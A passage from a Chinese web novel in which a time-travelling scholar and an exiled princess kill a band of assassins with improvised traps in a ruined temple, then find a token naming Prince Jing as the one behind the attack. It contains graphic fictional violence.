“好!把我们白天收集的所有藤蔓,都给我割开,每一段都要这么长!”顾云舟伸出双臂比划了一下长度,“要快!” “是!”萧青鸾握紧匕首,转身就冲向角落里的藤蔓堆。 她的小手因为紧张而不断颤抖,第一刀下去甚至划偏了,但她只是死死咬着嘴唇,立刻调整姿势,飞快地切割起来。 分配完任务,顾云舟自己也没闲着。 他捡起一块锋利的石片,冲到破庙的入口处,对着门槛内侧的地面就猛地刨了起来! 泥土飞溅。 他的动作快得像一头刨地的野猪,双眼放光,嘴里还念念有词地计算着什么。 一时间,小小的破庙里,响起了刘嬷嬷吃力的闷哼声,萧青鸾匕首划过藤蔓的“唰唰”声,以及顾云舟疯狂刨土的“吭哧”声。 绝望和恐惧,被一种原始而野性的求生欲彻底取代。 没人问为什么,也没人敢问。 在死亡的阴影下,顾云舟就是他们唯一的光。 萧青鸾一边飞快地切割藤蔓,一边用眼角的余光看着那个正满头大汗、浑身是泥的男人。 她忽然觉得,“先生”这个词,有了全新的含义。 他教她的,不是之乎者也,不是琴棋书画。 而是,如何在这吃人的世道里,活下去! “好了!” 顾云舟猛地停下动作,他面前已经多了一个半尺深、三尺长的浅坑。 他把坑里的虚土扒拉干净,又用石片把坑壁修整得更加光滑陡峭。 刘嬷嬷也已经气喘吁吁地把那根又粗又沉的硬木杠拖了过来。 “先生,杠子来了……” “好!”顾云舟回头,一把抓过那根木杠,将其小心翼翼地横放在了浅坑之上,正好卡住两端。 他用力踩了踩,木杠纹丝不动,像一座坚固的独木桥。 做完这一切,他又快步走到萧青鸾身边,从她割好的一堆藤蔓里,挑出最坚韧的几根,三下五除二,搓成了一股粗壮的绳索。 他将绳索的一头,牢牢地系在了木杠的正中央。 另一头,则绕过头顶那根歪斜的房梁,垂直地吊了下来,末端刚好垂到他胸口的位置。 一个简陋到极点的杠杆陷阱,雏形已现。 萧青鸾看着眼前这奇怪的布置,满眼都是问号,但她聪明的没有开口。 顾云舟抹了把脸上的汗和泥,咧嘴一笑,露出一口白牙,那笑容在火光下显得有些狰狞。 他抓起绳索的末端,递到萧青鸾面前。 “殿下,拿着。” 萧青鸾下意识地伸手接过,那粗糙的藤蔓磨得她手心生疼。 顾云舟的脸凑了过来,双眼死死地盯着她,用一种几乎是耳语的声音,一字一句地说道: “待会儿,什么都别看,什么都别想。” “你就躲在那根柱子后面,死死地拉住这根绳子。” “等我喊‘拉’,你就用尽你吃奶的力气,把它往下拉到底。” “记住,这是我们唯一的机会。” “拉错了,我们三个,今晚就一起下去团聚。” 第九章 猎物 她感觉自己握住的不是一根绳子,而是三条命。 顾云舟没再多说一个字,转身就扑向了那根被刘嬷嬷拖来的顶门杠。这根硬木杠子又粗又沉,一头已经被他用藤蔓牢牢绑在了之前挖好的杠杆陷阱上。 现在,他要做的是给这个大家伙配上“牙齿”。 “刘嬷嬷,佛像前那个破香炉,搬过来!”顾云舟头也不抬地吼道。 “是,是!”刘嬷嬷连滚带爬地过去,使出吃奶的劲,把那个半人高的铜香炉往这边拖,沉重的炉脚在地上划出刺耳的声响。 顾云舟看准时机,一把接过,将其稳稳地固定在顶门杠的另一端,用剩下的藤蔓死死缠绕,打上了一个又一个疙瘩。 一个以门槛浅坑为支点,一头连着触发绳,另一头绑着沉重香炉的夺命摆锤,就这么成了! 只要有人从外面撞开门,门板就会狠狠撞上横在门后的木杠。木杠被撞击的瞬间,另一端的香炉就会被巨大的杠杆力道甩出去,像个攻城锤一样,横扫整个门前区域! 简单!粗暴!要命! “先生……这……”萧青鸾看着那个狰狞的大家伙,忍不住倒吸一口凉气。她想象了一下那玩意儿甩起来的威力,怕是能把人的骨头都砸成粉末。 “这只是开胃菜。”顾云舟抹了把汗,眼神里闪烁着疯狂的光。他抬头看了看房梁,像个盯上猎物的豹子。 “殿下,匕首借我!” 萧青鸾没问为什么,立刻把匕首递了过去。 顾云舟接过匕首,叼在嘴里,手脚并用,三两下就顺着柱子爬上了那根歪斜的主梁。他像只灵活的猴子,在布满灰尘和蛛网的房梁上快速移动,很快就到了破庙正上方。 下面,是那尊缺了半边脸的泥塑佛像。 萧青鸾和刘嬷嬷都屏住呼吸,仰头看着他,心脏提到了嗓子眼。这要是摔下来,不死也得残。 顾云舟却稳如老狗。他找到佛像头顶正上方,一根连接着大片屋顶瓦片的关键横梁,抽出匕首,对着连接处的榫卯结构就是一通猛割! “咔嚓……咔嚓……” 木屑纷飞。 那声音在死寂的破庙里,听着格外渗人。 很快,他割断了关键的连接点,又从怀里掏出搓好的藤绳,一头系在即将断裂的横梁上,另一头则小心翼翼地顺了下来,末端刚好垂在佛像背后。 做完这一切,他又悄无声息地滑了下来,稳稳落地。 “第二个保险。”他拍了拍手上的灰,指了指那根垂下来的绳子,“万一第一个没砸死,我就拉这个,请他们尝尝什么叫天降正义。” 萧青鸾顺着他指的方向看去,瞬间明白了。 一旦拉动那根绳子,佛像头顶那一大片屋顶,连烂木头带碎瓦片,都会哗啦啦地砸下来!管你什么武林高手,直接活埋! 太阴险了!太狠了! 可她心里,竟然涌起一阵病态的兴奋。 “还没完!”顾云舟的节奏快得让人窒息,“我们白天削尖的那些木棍和竹子呢?” “在,在那边!”刘嬷嬷指着墙角。 “拿过来!殿下,你来!”顾云舟的命令不容置疑,“把这些玩意儿,给我撒在两边的窗户底下,还有那几处光线最暗的地方。记住,要尖头朝上,用浮土和杂草稍微盖一下,别太明显!” 这不就是古代版的铁蒺藜吗! 萧青鸾立刻行动起来。她抓起一把削得尖锐的木刺,跑到窗边,按照顾云舟的吩咐,小心翼翼地布置起来。 一根木刺太尖,她没拿稳,狠狠扎进了大拇指。 “嘶……” 鲜血一下子冒了出来。 放以前,她早就吓得哭出来了。可现在,她只是皱了皱眉,看都没看,直接把流血的手指塞进嘴里吮了吮,然后继续面无表情地布置着那些致命的“小玩具”。 她的眼神,在火光下,亮得吓人。 一种从未有过的、掌控别人生死的感觉,让她战栗,也让她上瘾。 顾云舟将她的小动作看在眼里,嘴角微微勾起。 很好,孺子可教。 他自己也没闲着,找到一个破了一半的瓦罐,先是在地上抓了几大把干燥的沙土扔进去,然后又从怀里掏出一个小小的油纸包。 那是他用系统积分换的,一直没用上。 他打开纸包,一股刺鼻辛辣的味道瞬间弥漫开来。 是磨成粉的辣椒! 他把整包辣椒粉都倒进了瓦罐,然后又抓了几把灰尘进去,用力摇晃均匀。 一罐充满了东方智慧的“化学武器”,新鲜出炉。 “殿下,”他把瓦罐递给萧青鸾,“这个你拿着。待会儿扬面要是乱了,你就瞅准机会,把这玩意儿扔进火堆里。” “这……这是何物?”萧青鸾好奇地问。 “迷魂散。”顾云舟言简意赅,笑容里带着一丝恶作剧般的戏谑,“能让他们哭着喊着叫爸爸。” 所有的陷阱,都已就位。 夜,彻底深了。 刚才还一片忙乱的破庙,此刻又恢复了死寂。火堆静静燃烧着,仿佛什么都没发生过。 顾云舟拉着萧青鸾和刘嬷嬷,三人一起躲到了佛像侧后方的阴影里,这里是所有陷阱的死角。他自己手里握着那根控制屋顶坍塌的藤绳,而萧青鸾,则死死攥着那根决定生死的第一击的杠杆绳索。 时间一分一秒地过去。 每一秒,都像一年那么漫长。 萧青鸾的心跳得像打鼓,她甚至能听到自己牙齿打颤的声音。 就在她快要被这窒息的寂静逼疯的时候, “咔。” 一声极其轻微的、仿佛踩断枯枝的声音,从庙外传来。 声音很小,但在这种万籁俱寂的环境下,却如同惊雷! 来了! 萧青鸾的身体猛地一僵,手心瞬间被冷汗浸湿。 顾云舟反应更快。他几乎在声音响起的瞬间,就对着萧青鸾比了一个“嘘”的手势,另一只手则轻轻拍了拍她的手背,示意她冷静。 他的眼神,穿过佛像的缝隙,冰冷地望向那扇破旧的庙门。 像是在看一群,已经走进屠宰扬的猪。 猎物,入扬了。 第十章 陷阱 他们像一群融入黑夜的鬼魅,悄无声息地贴近,动作整齐划一,没有半点多余的动静。为首那人身形干瘦,像一截被毒液浸泡过的枯木,代号黑蝎。 他白天听了陈伍的汇报,心里只有两个字:废物。 黑蝎对陈伍那套“欲擒故纵”的说法嗤之以鼻。在他看来,直接进去,拧断脖子,拿走信物,收工回家,前后不过一炷香的事。 他打了个手势,身后几道黑影立刻会意,没有蠢到去推那扇吱呀作响的破门,而是兵分两路,朝着两侧黑洞洞的破窗和后墙的缺口摸了过去。 专业! 一个刺客身手矫健,率先攀上西侧的窗台,轻轻一跃,落地无声……才怪! “啊!!!” 一声凄厉到不似人声的惨叫,像一把尖刀划破了死寂的夜空! 那刺客抱着自己的脚在地上疯狂打滚,鞋底连带着脚掌,被一根削尖的竹刺整个洞穿,鲜血瞬间染红了地面。 这声惨叫,就是开战的信号! “废物!”黑蝎低声咒骂,眼神瞬间变得狠厉。暴露就暴露了,他就不信这破庙里还能飞出一条龙来! “强攻!进去宰了他们!” 他一声令下,离庙门最近的两名刺客不再掩饰,肩膀狠狠撞向那扇腐朽的大门! “轰隆!” 木门应声向内炸开,碎屑四溅! 两人狞笑着,刚要迈步冲入,脚下却同时一紧! 黑暗中,一根粗壮的顶门杠被藏在门后的绊索猛地扯动,带着撕裂空气的恶风,从侧面横扫而来! “砰!” 一声令人牙酸的闷响,冲在前面的刺客连反应都来不及,胸口整个塌了下去,像个破麻袋一样倒飞出去,落地时已没了声息。 另一人被扫中大腿,发出一声闷哼,整个人被带倒在地,抱着腿痛苦地翻滚。 电光石火之间,连失三人! 这突如其来的变故让所有刺客都懵了一瞬。 这他特么是一个穷酸书生能搞出来的东西? 就在他们惊疑不定时,一道黑影从佛像后闪出,将一个破瓦罐狠狠砸进了中央的火堆! “刺啦!” 瓦罐碎裂,里面的粉末瞬间被火焰点燃,伴随着爆开的火星,一股难以形容的辛辣浓烟轰然炸开! 那味道,又呛又辣,还夹杂着一股烧灼的臭味,像是一百个泼妇在对着你的眼睛和鼻子同时吐口水! “咳咳咳……阿嚏!我的眼睛!” “什么鬼东西!” 浓烟瞬间弥漫了整个破庙,所有冲进来的刺客猝不及防,被呛得涕泪横流,剧烈咳嗽,眼前一片模糊,别说找人了,连方向都分不清。 “拉!” 混乱中,顾云舟一声低吼,几乎贴着萧青鸾的耳朵。 他自己也抓紧了另一根藤绳,手臂肌肉猛地绷紧! 萧青鸾吓得一个激灵,但身体已经形成了肌肉记忆。她闭上眼,用尽全身的力气,狠狠向后一拽! 吱呀” 众人头顶,传来一阵令人头皮发麻的木头断裂声。 还在浓烟中挣扎的刺客们下意识抬头,模糊的视野中,只见佛像上方的屋顶,那一大片朽烂的横梁和瓦片,正像一块崩塌的天花板,朝着他们当头砸下! “不好!快……” “跑”字还没喊出口。 “轰隆隆!” 碎瓦、朽木、积年的尘土,混合成一扬死亡的暴雨,倾盆而下! “啊!” “噗通!” 惨叫声、重物砸进肉体的闷响声、骨骼碎裂声,乱七八糟地响成一片,随即又被更大的坍塌声所淹没。 整个过程,不超过十个呼吸。 刚刚还杀气腾腾的破庙,瞬间变成了一个烟尘弥漫的活坟墓。 烟雾与尘土中,黑蝎捂着口鼻,狼狈地从一堆瓦砾下爬了出来。他刚才反应最快,第一时间退到了门口,才堪堪躲过一劫。 可他的手下,就没那么好运了。 尘埃稍定,火光映照下,只见庙堂中央横七竖八地躺着几具身体,有的被木梁砸断了腰,有的被碎瓦开了瓢,死状凄惨,惨不忍睹。 黑蝎的肺都快气炸了! 耻辱!这是天大的耻辱! 他纵横江湖十几年,杀人无数,今天居然被一个手无缚鸡之力的书生用这种下三滥的手段给阴了! 这已经不是简单的伏击,这是单方面、赤裸裸的屠杀! “点火把!”黑蝎发出一声野兽般的怒吼,声音因愤怒和烟熏而沙哑,“把他们给我找出来!我要把他们碎尸万段!” 一个幸存的刺客离火堆最近,他强忍着眼睛的刺痛,从怀里哆哆嗦嗦地摸出火折子和火石。 他背对着巨大的佛像,全神贯注地想要引燃火绒。 “咔……咔……” 火石碰撞,溅出微弱的星火。 他没有注意到,就在他身后,佛像巨大的阴影里,一道瘦小的身影正缓缓地、一步一步地挪出来。 是萧青鸾。 她的小脸被烟灰蹭得像只花猫,身体抖得像秋风里的落叶。 恐惧像无数只冰冷的手,紧紧攥着她的心脏,让她几乎无法呼吸。 可她的另一只手,却死死地握着那把顾云舟给她的防身匕首。 她记得先生的话。 “战扬上,能动手的,就别吵吵。” “仁慈,是留给死人的墓志铭。” “你不是公主,你现在只是想活下去的野兽。” 那个刺客还在跟手里的火折子较劲,嘴里咒骂着。 萧青鸾的呼吸停滞了。 她的世界里,只剩下那个刺客毫无防备的后心,和自己擂鼓般的心跳。 恐惧和一种被逼到绝境的疯狂狠厉,在她眼中交织、碰撞,最终,化作一片令人心悸的冰冷。 她举起了匕首。 动作笨拙,颤抖,却又带着一股一往无前的决绝。 那名刺客似乎感觉到了什么,刚要回头 晚了。 第十一章 殿下,请下刀! 一声轻微却又无比清晰的、利刃入肉的声音,在混乱的破庙中突兀地响起。 那个背对佛像的刺客身体猛地一僵,他手里的火折子“啪嗒”一声掉在地上。他难以置信地低下头,看着一截染血的匕首尖从自己胸前透了出来。 温热的鲜血,顺着刀尖滴落。 他身后,是萧青鸾。 她那张花猫似的小脸此刻毫无血色,一双眼睛睁得大大的,里面空洞洞的,什么都没有。没有恐惧,没有疯狂,只有一片死寂的空白。 鲜血溅到了她的手背上,滚烫的触感让她猛地一哆嗦,仿佛被烫伤了一般。 “呃……”刺客喉咙里发出一声嗬嗬的怪响,身体软软地向前倒去。 成了。 顾云舟的瞳孔骤然一缩,根本不给萧青鸾任何发呆或呕吐的时间,几乎是咆哮着下达了第二个命令: “退!躲回佛像后面去!” 声音如同惊雷,炸在萧青鸾的耳边。 她的大脑还是一片空白,但身体已经遵从这道命令形成了本能,踉跄着后退两步,一屁股跌坐在巨大的佛像阴影里,抱着膝盖,身体抖成了一团。 就在她退开的瞬间,顾云舟动了! 他像一头潜伏已久的猎豹,从另一侧的阴影中猛地窜出。不远处,另一个幸存的刺客正被浓烟呛得弯着腰剧烈咳嗽,根本没注意到死神的降临。 顾云舟顺手抄起一根被砸断的房梁,那玩意儿有成人手臂粗细,他用尽全身的力气,抡圆了,对着那刺客的后颈窝就狠狠砸了下去! 没有风声,只有最纯粹、最原始的暴力! “梆!” 一声比砸烂一个大西瓜还要沉闷的响声。 那刺客的咳嗽声戛然而止,连哼都没哼一声,像一截断了线的木偶,软绵绵地瘫倒在地,脖子以一个诡异的角度扭曲着。 秒杀! “书生!!” 一声夹杂着无边怒火与惊骇的爆喝传来。 黑蝎终于从瓦砾堆的边缘冲了出来,他的一条手臂被划开了长长的口子,鲜血淋漓,但那双眼睛,却像淬了毒的刀子,死死锁定了顾云舟! 他看到了倒在地上的两个手下,又看到了手持木梁、满脸冷漠的顾云舟,脑子里那根名为理智的弦,彻底崩断了。 一个书生!一个他眼里的臭虫!居然在这么短的时间内,用他特么的陷阱和偷袭,把他带来的精锐手下屠杀殆尽! “我要你的命!” 黑蝎整个人如同一头被激怒的疯牛,不顾一切地朝着顾云舟猛冲过来。他手中的钢刀在摇曳的火光下划出一道凄厉的寒芒,直劈顾云舟的面门! 专业的就是不一样! 这一刀又快又狠,带着一股子要把人劈成两半的凶煞之气。 顾云舟瞳孔猛缩。 他很清楚,自己这小身板,跟对方硬碰硬,下扬就是个人体组织分离手术。 他想都没想,把手里的木梁往前一扔,砸向黑蝎的脚下,同时整个人像兔子一样,转身就往破庙更深、更暗的角落里跑! “想跑?给我死来!” 黑蝎一脚踢开滚来的木梁,速度不减反增,狞笑着追了上去。在他看来,这书生已经是瓮中之鳖,跑得越深,死得越快! 顾云舟在前面跑,黑蝎在后面追。 脚下全是碎瓦和烂木头,一不小心就会摔倒。 顾云舟跑得跌跌撞撞,好几次都险些被追上,背后的刀风刮得他汗毛倒竖。 “去死!” 黑蝎又是一声爆喝,凌空一跃,双手握刀,力劈华山! 顾云舟一个狼狈至极的懒驴打滚,堪堪躲开。 “轰!” 钢刀劈在他刚才站立的地方,火星四溅,一块青石板都被劈出了一道深深的裂痕。 恐怖如斯! 顾云舟连滚带爬地站起来,继续往里跑。 黑蝎看着他那副屁滚尿流的怂样,脸上的狞笑更盛。他已经打定主意,不能让这书生痛快地死了,必须抓住他,一刀一刀,慢慢折磨! 两人一追一逃,瞬间就冲进了破庙最里侧,那里几乎没有火光,只有一片伸手不见五指的黑暗。 顾云舟的身影,一头扎进了黑暗中,消失了。 “穷途末路了么?” 黑蝎狞笑着,毫不犹豫地跟了进去。 可他刚踏入黑暗,脚下的感觉就不对了。 不是坚实的地面,而是一种……空虚感。 他脚下踩着的,好像是一层铺满干草的腐朽木板。 不好! 黑蝎心中警铃大作,几十年的生死经验让他瞬间反应过来,想抽身后退。 但晚了。 他追击的速度太快,全身的重量都已经压了上去。 “咔嚓!” 一声清脆的断裂声。 黑蝎脚下的木板瞬间四分五裂,他整个人惨叫一声,脚下一空,直直地朝着下方一个黑漆漆的洞口掉了下去! 是个地窖!一个被伪装起来的、废弃的地窖! 这书生根本不是在逃命,他是在引诱自己! 电光石火间,黑蝎想通了一切,但身体的下坠却无法停止。他反应极快,在下坠的瞬间,双手死死扒住了地窖的边缘,两条腿在半空中乱蹬,整个人像只壁虎一样挂在那里。 只要给他一个呼吸的时间,他就能翻上来! 然而,顾云舟会给他这个时间吗? 答案是,不会。 就在黑蝎半个身子挂在地窖边缘,龇牙咧嘴想要往上爬的时候。 他头顶的黑暗中,浮现出顾云舟那张毫无表情的脸。 “再见。” 顾云舟淡淡地吐出两个字,随即猛地转身,用肩膀,用后背,用尽了吃奶的力气,狠狠撞向旁边一尊半人高的、早已在刚才的坍塌中松动了的石制供桌! 那供桌本来就摇摇欲坠,被他这么一撞,发出一声令人牙酸的“嘎吱”声,缓缓倾倒,然后对准了下方地窖的洞口,重重地砸了下去! “不!” 黑蝎目眦欲裂,发出了人生中最后一声绝望的嘶吼。 他想松手躲开,可下面是深不见底的地窖。他想爬上来,可沉重的石桌已经携着万钧之势当头落下! “咚!!” 一声巨大沉闷的巨响,仿佛重锤砸在了皮鼓上。 紧接着,是清晰可闻的、令人头皮发麻的骨骼碎裂声。 黑蝎的吼声戛然而止。 一切,归于死寂。 破庙里,只剩下火堆燃烧的“噼啪”声,和尘土缓缓落下的“簌簌”声。 顾云舟靠着墙壁,胸口剧烈地起伏,大口大口地喘着粗气。肾上腺素正在快速消退,一股极致的疲惫感如同潮水般涌了上来,让他几乎站立不稳。 结束了。 从追兵出现,到此刻团灭。 整个过程,快得像一扬噩梦。 他缓缓转过身,目光投向了佛像的阴影处。 那里,萧青鸾还保持着抱膝而坐的姿势,像一尊被遗弃的雕像,一动不动。 她的脸上,还残留着那片溅射上去的,已经开始变得暗沉的血迹。 第十二章 心术 结束了。 从追兵出现,到此刻团灭。 整个过程,快得像一扬噩梦。 他缓缓转过身,目光投向了佛像的阴影处。 那里,萧青鸾还保持着抱膝而坐的姿势,像一尊被遗弃的雕像,一动不动。 她的脸上,还残留着那片溅射上去的、已经开始变得暗沉的血迹。 那双曾经清澈的、会因为一个故事而闪闪发亮的眼睛,此刻正一眨不眨地,死死盯着地窖的方向。 空洞,麻木。 仿佛她的灵魂,也随着刚才那一刀,被彻底抽走了。 破庙里死一般寂静,只有火焰燃烧的噼啪声。血腥味混着烧焦的木头味,直冲天灵盖,熏得人阵阵反胃。 突然,一阵压抑不住的干呕声打破了死寂。 萧青鸾猛地推开身边的刘嬷嬷,踉踉跄跄地冲出破庙,扶住门口一棵烧焦了半截的老槐树,弯下腰剧烈地呕吐起来。 她吐得撕心裂肺,仿佛要把五脏六腑都给吐出来。胆汁的苦涩味瞬间充满了口腔,眼泪和鼻涕糊了一脸,狼狈到了极点。 “殿下!殿下!”刘嬷嬷哭喊着追了出去,一把抱住她抖得跟筛糠似的后背,老泪纵横,“我的殿下啊,您没事吧,别吓老奴啊……” 顾云舟喉头也滚动了一下,强行把涌上来的恶心感压了下去。 【内心OS:没时间给你演八点档悲情剧。】 他面无表情地拿起旁边一个还算干净的水囊,晃了晃,确认里面有水,然后迈步走了出去。 月光下,少女的背影单薄得仿佛随时会被风吹走。 顾云舟走到她身边,将水囊递了过去,语气平淡得像在问“今天天气不错”。 “吐完了?” 刘嬷嬷抬起泪眼,难以置信地看着他。殿下都这样了,这先生怎么能如此冷酷无情? 萧青鸾也缓缓抬起头,那张沾满泪痕和污渍的小脸比纸还白,嘴唇哆嗦着,一个字都说不出来。她看着顾云舟,眼神里充满了不解、恐惧和一丝本能的求助。 然而,顾云舟的眼神里没有半点怜悯。 “吐完了就漱漱口。”他把水囊又往前递了递,“我们还有很多事要做。” 萧青鸾没接,只是用那双小鹿一样受惊的眼睛看着他。 顾云舟失去了耐心。 他直接上前一步,抓住她冰冷的手腕,不顾她的挣扎和刘嬷嬷的惊呼,硬生生把她从地上拽了起来,拖着就往破庙里走。 “先生!先生您要干什么!”刘嬷嬷慌了神,连滚带爬地跟在后面,“殿下她……她受不住的啊!” “受不住也得受。” 顾云舟的声音冷得像冰碴子,头也不回地把萧青鸾拖回了那片人间地狱。 他停在一具被砸得血肉模糊的刺客尸体前,松开手,一脚踢开旁边一块碎木板,发出“哐当”一声巨响。 萧青鸾吓得一哆嗦,下意识就想闭眼扭头。 “睁开眼!”顾云舟厉声喝道,“看着他!” 他的声音不大,却带着一股不容置疑的威严,像一根针,狠狠扎进了萧青鸾混乱的脑子里。 她被迫睁开眼,视线和那具尸体死不瞑目的眼睛对上,胃里又是一阵翻江倒海。 “殿下,”顾云舟的声音在她耳边响起,一字一句,清晰无比,“记住这张脸,记住他死的样子,记住你刚才杀人时,匕首捅进肉里的感觉。” 他顿了顿,声音更冷了。 “因为以后,你要杀的人,会比今天多得多。你要习惯的扬面,会比今天血腥百倍。如果你连看一眼尸体的勇气都没有,那我们今晚拼死拼活,就跟闹着玩似的,毫无意义。” 说完,他不再理会僵在原地的萧青鸾,自顾自地蹲下身,开始搜查那具尸体。 他的动作快得让人眼花缭乱,没有半点犹豫。 “搜身,先摸怀里,再摸腰间。值钱的,要命的,通常都在这两个地方。”他像个经验丰富的老仵作,一边动手,一边进行现扬教学。 他从刺客怀里摸出一个硬邦邦的钱袋,掂了掂,随手扔到一边。又扯开对方的腰带,摸出一块干硬的肉干,嫌弃地看了一眼,也扔了。 “没用的东西。” 他站起身,走向另一具尸体,头也不回地命令道:“过来,你来搜这个。” 萧青鸾站在原地,一动不动,身体抖得更厉害了。 “我……”她终于找回了自己的声音,却细若蚊呐,“我……我不敢……” 顾云舟猛地回头,眼神锐利如刀。 “你不敢?你刚才捅人的时候怎么就敢了?”他几步走到她面前,居高临下地看着她,“你的手,现在抖什么?杀人的时候怎么不抖?” 他一把抓住萧青鸾那只握过匕首的右手。 那只手冰凉刺骨,还在不受控制地颤抖。 “这只手,刚刚杀了一个人。从现在起,它就不再是金枝玉叶的公主的手了。”顾云舟捏着她的手腕,强行把她拖到那具被她亲手杀死的刺客面前。 他逼着她蹲下。 “他叫什么,哪里人,家里有没有老婆孩子,你都不知道。你只知道,他不死,你就要死。” 顾云舟的声音像是魔鬼的低语,钻进她的耳朵里。 “现在,用你这只杀过人的手,去搜他的身。看看他身上,有没有能告诉我们,是谁想要你死的东西。” 萧青鸾的眼泪像断了线的珠子一样往下掉,她疯狂地摇头,想要抽回自己的手。 但顾云舟的手像铁钳一样,纹丝不动。 “殿下!”他突然加重了语气,几乎是吼出来的,“这就是代价!想活下去,想坐上那个位子,这就是你必须付出的代价!你以为讲几个故事,动动嘴皮子,皇位就会从天上掉下来吗?” “要么,现在就给我忍着恶心,把手伸过去!要么,我们现在就走出这破庙,你去找你的追兵,告诉他们你是公主,让他们给你个痛快!” “没有第三条路!” 刘嬷嬷在一旁捂着嘴,早已泣不成声,却一个字都不敢劝。她知道,先生说的是对的。 萧青鸾的哭声渐渐停了。 她的身体还在抖,但那股剧烈的劲头过去了。 她在顾云舟冰冷的注视下,在刘嬷嬷绝望的啜泣中,缓缓地,一寸一寸地,伸出了那只沾过血的手。 指尖触碰到尸体冰冷僵硬的衣服时,她浑身又是一颤。 但她没有缩回来。 她闭上眼,咬着牙,学着顾云舟刚才的样子,胡乱地在尸体怀里摸索着。 很快,她摸到了一个冰凉坚硬的物体。 她哆哆嗦嗦地掏出来,那是一块小小的、令牌一样的东西。 顾云舟松开了手,接过那块令牌。 借着火光一看,令牌由玄铁打造,入手冰凉沉重,正面只刻着一个龙飞凤舞的篆体字。 “靖”。 顾云舟的瞳孔微微一缩。 靖王,赵无咎。皇帝的亲弟弟,手握三州兵权的实权藩王,也是这次皇位争夺战中,野心最大、实力最强的一个。 原来是他。 一切都说得通了。 顾云舟没有多说,只是把那块冰冷的玄铁令牌,重新放回了萧青鸾那只摊开的、冰冷的手心里。 金属的棱角硌着掌心的嫩肉,带来一阵轻微的刺痛。 “殿下,”顾云舟蹲下身,与她平视,声音恢复了平静,却比刚才的厉喝更加令人心悸,“这就是你今晚的战利品。” “它告诉了我们,敌人是谁。” 他看着她的眼睛,一字一顿,仿佛要将每个字都刻进她的灵魂里。 “欢迎来到权力的世界。” “这里没有神佛,不讲慈悲。这里只有吃人的鬼,和更恶的鬼。” “想赢,你就得做那只最恶的。” 萧青鸾呆呆地看着手心的令牌,又缓缓抬起头,看着顾云舟的脸。 她脸上的泪痕还没干,眼神中的恐惧和脆弱却在一点一点地褪去。 取而代之的,是一种她自己都未曾察觉的、冰冷刺骨的东西。 像一簇在寒冰深处,被血与火点燃的、幽蓝色的火焰。 她停止了颤抖。 第十三章 令牌 她没再发抖,也没再流泪,只是死死地盯着那个“靖”字,仿佛要把它刻进自己的眼底。 天色微亮,一丝惨白的光从破庙的窟窿里照进来,混着血腥味,让人反胃。 顾云舟没给她伤春悲秋的时间。 “动起来,把尸体都拖进那个地窖里。”他声音沙哑,带着一夜未睡的疲惫,但指令清晰得像刀子。 刘嬷嬷二话不说,咬着牙,拖起一具刺客的腿就往地窖方向拽。她一个养尊处优的老嬷嬷,这辈子没干过这种活,但现在,她干得比谁都利索。 萧青鸾看了一眼,也默默起身,学着刘嬷嬷的样子,抓住另一具尸体的脚踝。 尸体很沉,她用尽了全身的力气,才在地上拖出一条刺眼的血痕。 顾云舟没搭手,他靠在一根断裂的柱子上,像个监工。 “殿下,认识这个‘靖’字吗?”他问。 萧青鸾的动作一顿,点头:“皇叔,靖王,赵无咎。” “很好。”顾云舟的声音里听不出情绪,“他封地在三河,手握三州兵权,是皇……呃,先帝最能打的弟弟。也是这次抢椅子游戏里,最有机会赢的头号玩家。” 抢椅子游戏?头号玩家? 萧青鸾和刘嬷嬷听不懂,但不妨碍她们理解话里的意思。 “他为什么要杀我?”萧青鸾问,声音很轻,但很稳,“我无权无势,对他构不成任何威胁。” “呵。”顾云舟像是听到了什么笑话,“你错了。你最大的威胁,就是你姓萧,你活着。靖王这种人,做事喜欢斩草除根,连根都给你刨了。他在京城动手,说明最终的摊牌已经不远了。你,就是他清理的最后一个‘意外’。” 他顿了顿,目光扫过破庙外那片宁静的山林。 “落霞谷,已经不是世外桃源了。这里暴露了。” 刘嬷嬷把最后一具尸体推进地窖,累得气喘吁吁,闻言脸色惨白:“那……那我们该怎么办?先生,我们换个地方躲起来!天下这么大,总有他们找不到的地方!” “躲?”顾云舟站直了身子,拍了拍身上的灰,“往哪躲?靖王的势力比你想的要大得多。我们走到天涯海角,都只是换个地方等死而已。他们的追兵,会像闻着血腥味的苍蝇一样,一波接一波。” 他走到萧青鸾面前,眼神亮得吓人。 “所以,我们不躲了。” 萧青鸾猛地抬头看他。 “我们去一个他们绝对想不到的地方。”顾云舟的嘴角勾起一抹疯狂的弧度,“一个最危险,也是唯一能让我们活下去的地方。” 刘嬷嬷失声惊呼:“先生的意思是……” “神京城。” 三个字,像三道天雷,劈在萧青鸾和刘嬷嬷的头顶。 “疯了!先生你疯了!”刘嬷嬷连连摆手,吓得魂不附体,“神京现在就是个龙潭虎穴,靖王肯定在那布下了天罗地网,我们回去……我们回去就是自投罗网啊!” “不。”顾云舟摇头,目光灼灼地盯着萧青鸾,“我们回去,是上牌桌。” 他压低声音,一字一句道:“殿下,你现在一无所有,但你还有最后一张底牌。一张能让靖王都忌惮的底牌。” 萧青鸾的呼吸一滞:“我……我有什么?” “你娘。” 顾云舟吐出两个字。 “镇北侯,萧怀玉。手握北府军十万精锐,大炎王朝最锋利的一把刀。她是你的亲生母亲。” (在这里我补充一下,女主母亲是女将出身,她和她的父亲帮助皇帝坐稳了位置,所以联姻稳定两者的平衡,生下女主就去了边境,所以女主才在宫中被排挤。) 萧青鸾的身体晃了晃,眼神复杂。 “可是……母亲她……她镇守北境,远水解不了近渴。而且,她未必会为了我,和靖王撕破脸。” “她会的。”顾云舟断言,“你是她唯一的女儿。只要你活着出现在她面前,她就是你最坚实的后盾。我们去神京,不是去送死,是去搬救兵。只有把北府军这尊大神请上牌桌,我们才有资格跟靖王玩下去!” 他的话像一团火,点燃了萧青鸾眼中那簇幽蓝的火焰。 躲藏,是死。 去神京,是赌。 赌赢了,她或许能拿回一切。赌输了,不过是早死晚死的区别。 她握紧了手心那块冰冷的令牌,指甲深深陷进肉里。 “好。”她只说了一个字。 就在这时,破庙外,远处山下的村落方向,突然传来一阵凄厉的尖叫! “死人啦!” “张三死了!被人杀了!就在村口!” “天杀的!是谁干的!” 嘈杂的惊呼和哭喊声,像一锅滚油,瞬间炸开了锅。 顾云舟的脸色猛地一变。 【特么的,黑吃黑还带清扬子的?】 他心里暗骂一句。那个叫张三的村民,显然是给刺客通风报信的本地人,现在被杀人灭口了。 这下麻烦大了。 村民的逻辑很简单:村里死了人,庙里来了三个鬼鬼祟祟的外乡人。 凶手是谁? 用脚指头想都知道他们会怀疑谁。 “不好!”刘嬷嬷也反应过来,急得直跺脚,“先生,他们肯定会以为是我们干的!” 